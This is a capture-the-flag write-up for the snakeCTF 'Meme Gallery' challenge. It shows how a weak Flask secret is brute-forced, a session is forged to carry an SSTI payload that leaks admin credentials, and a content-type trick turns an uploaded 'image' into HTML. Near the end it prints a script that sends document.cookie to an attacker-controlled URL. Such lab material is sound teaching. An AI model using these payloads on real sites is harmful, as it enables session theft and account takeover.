snakeCTF logo

Meme Gallery


Description

Share your favourite memes with the admins.

Solution

From the source it is clear that the application is a platform to share memes. Moreover:

  • Memes are uploaded in a minio object storage
  • There is an admin bot with the flag in the cookies

It's possible to register an account and upload some pictures:

An example uploaded meme

When trying to submit the image to the admin, an error occurs: I'm not interested in this naive memes. The reason for this error is clearly stated in the code:

@blueprint.route("/list/<meme>/maketheadminlaugh", methods=["GET"])
@token_required
@with_db
def report(db, user, meme):
    bucket = "supermemes"

    found = db.meme_bucket(meme)
    if found is None:
        return {"error": "Nonexistent meme is the new meme"}, 404
    if found != bucket:
        return {"error": "I'm not interested in this naive memes"}, 400
    res = requests.post(
        BOT_ADDRESS,
        data={"url": f"{current_app.config['APP_ADDRESS']}/get/{quote_plus(meme)}"},
    )
    ...

The bucket on which the memes are uploaded is defined in the following function:

def bucket_for(user):
    if user.admin:
        return "supermemes"
    else:
        return "memes"
@blueprint.route("/upload", methods=["POST"])
@token_required
@with_db
def upload(db, user):
    bucket = bucket_for(user)
    file = request.files["file"]
    ...
    db.add_meme(file.filename, content, file.content_type, user.id, bucket)
    ...

To show a meme to the bot (the only interaction possible), admin privileges are required. The only way to gain them is to know the admin credentials:

@property
def admin(self):
    return (
        self._username == current_app.config["ADMIN_USERNAME"]
        and self._password == current_app.config["ADMIN_PASSWORD"]
    )

Getting the admin credentials

In the first few lines of app.py, credentials are saved in the app config:

app.config["ADMIN_USERNAME"] = environ.get("ADMIN_USERNAME", "");
app.config["ADMIN_PASSWORD"] = environ.get("ADMIN_PASSWORD", "");

This means that leaking the config provides a way to log in as admin an and upload memes to the supermemes bucket. The authentication endpoints are clearly vulnerable to SSTI:

@blueprint.route("/user", methods=["GET"])
@token_required
def user_info(user):
    return render_template_string(f"uid={user.id}({{{{name}}}})", name=user.name), 200

In this route, the user.id is not sanitized and is directly printed in the template string before passing it to the template engine. If the attacker has control over user.id, this would be vulnerable to SSTI!

To exploit this vulnerability it is required to understand how the authentication is handled. The token_required decorator is defined as follows:

def token_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        ...
            logged_user = json.loads(session.get("user"), cls=UserDecoder)
            db = AppDataStorage(DB_FILE, OS_ADDRESS)
            res = db.find_user(logged_user.name)
            if res is None or res[2] != logged_user.password:
                return (
                    {"error": "Invalid token"},
                    500,
                    {"Set-Cookie": "session=;Max-Age=0;"},
                )
        ....

        return f(logged_user, *args, **kwargs)
    ...

The logged_user is taken from the session and parsed with a custom decoder:

class UserDecoder(json.JSONDecoder):
    def decode(self, encoded):
        parsed = json.loads(encoded)
        id = parsed["id"]
        username = parsed["username"]
        password = parsed["password"]
        if len(encoded) > 85 or len(username) < 5 or len(password) < 32:
            raise json.JSONDecodeError("Unusual behavior detected", "", 0)
        return User(id, username, password)

The session cookie is cryptographically signed, so in order to change the session object the generation of a valid signature is required. Is the session secret safe?

app.config["SECRET_KEY"] = environ.get("SECRET_KEY", None) or randbytes(4)

Flask-unsign is a tool with the objective to bruteforce flask sessions against a wordlist (such that rockyou) and forge new valid sessions. It can be used in this case, since the secret is weak: Bruteforcing the cookie

A payload for SSTI, such that {{config}}, can be signed to leak the app's config. Signing the payload App config leaked

Notice that the check for len(encoded) > 85 is present in order to (hopefully) avoid the SSTI to develop into an RCE. The length is enough to contain the "{{config}}" payload and white spaces can be removed from the JSON data to save some characters.

Getting the XSS

With the admin credentials, it is possible to log in and upload memes to the supermemes bucket. Since the flag is in the admin cookies, some kind of XSS can be used to steal it. From the report function shown above, it is clear that the bot visits the /get/<meme> endpoint, and returns the object stored in the bucket:

@blueprint.route("/get/<meme>", methods=["GET"])
@token_required
@with_db
def get_object(db, user, meme):
    bucket = bucket_for(user)
    found = db.find_meme(meme, bucket)
    if found is None:
        return {"error": "Meme not found!"}, 404
    o = db.retrieve_meme_data(meme, bucket)

    return Response(o.stream(), o.status, o.headers.items())

The uploaded file is clearly the injection point, but the upload route implements some security checks:

ct_whitelist = [("image", "jpeg"), ("image", "png")]
ext_whitelist = [".png", ".jpeg", ".jpg"]
....
@blueprint.route("/upload", methods=["POST"])
@token_required
@with_db
def upload(db, user):
    bucket = bucket_for(user)
    file = request.files["file"]

    if file.filename is None:
        return {"error": "Invalid meme"}, 400

    exts = map(lambda x: file.filename.endswith(x), ext_whitelist)
    if not any(exts):
        return {"error": "Invalid extension"}, 400

    objs = db.bucket_memes(bucket)
    if file.filename in objs:
        return {"error": "Meme exists"}, 400

    content = file.stream.read()
    content_type = mimeparse.parse_mime_type(file.content_type)
    if len(content_type) != 3:
        return {"error": "Invalid Content-Type"}, 400
    cts = map(
        lambda x: x[0] == content_type[0]
        and x[1] == content_type[1]
        and content_type[2] == {},
        ct_whitelist,
    )
    if not any(cts):
        return {"error": "Content-Type not allowed!"}, 400
    db.add_meme(file.filename, content, file.content_type, user.id, bucket)
    ...

The file extension and the content type are checked against a whitelist, but the meme is stored with the original content type and not the parsed one.

On the internet an interesting research on possible content types used for XSS is present. One of the Response Content-Type Tricks can be used to bypass the whitelist. For example, by using image/jpeg; ,text/html as content type, the mimeparse library will report ('image', 'jpeg', {}) (since ,text/html contains no valid parameters because no = sign is present), and the browser will interpret it as text/html and render it as a html page. A html page in the content of the file can be used to extract the cookies, for example:

<body>
    <script>
        document.location='<attacker_controlled_url>/' + btoa(document.cookie);
    </script>
</body>
</html>

This meme can be sent to the bot and steal the cookies.